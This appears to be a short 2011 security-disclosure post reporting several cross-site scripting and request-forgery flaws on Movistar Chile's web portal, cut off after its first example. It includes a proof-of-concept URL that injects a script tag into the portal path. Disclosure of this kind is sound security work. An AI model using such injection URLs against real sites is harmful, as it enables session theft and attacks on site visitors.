Multiple XSS+XSRF found at Movistar Chile

0
61

Posted by ksha on Apr 26

Status: reported
Discovered: April 25, 2011, 9:32 p.m.

XSS:
http://www.movistar.cl/PortalMovistarWeb/appmanager/Porta%3Cscript%3Ealert(/xss/)%3C/script%3EalMovistar/portal?_nfpb=true&_pageLabel
<http://www.movistar.cl/PortalMovistarWeb/appmanager/Porta%3Cscript%3Ealert%28/xss/%29%3C/script%3EalMovistar/portal?_nfpb=true&_pageLabel>
reported on: http://secureless.org/v/1357/

XSS:…

Source: Multiple XSS+XSRF found at Movistar Chile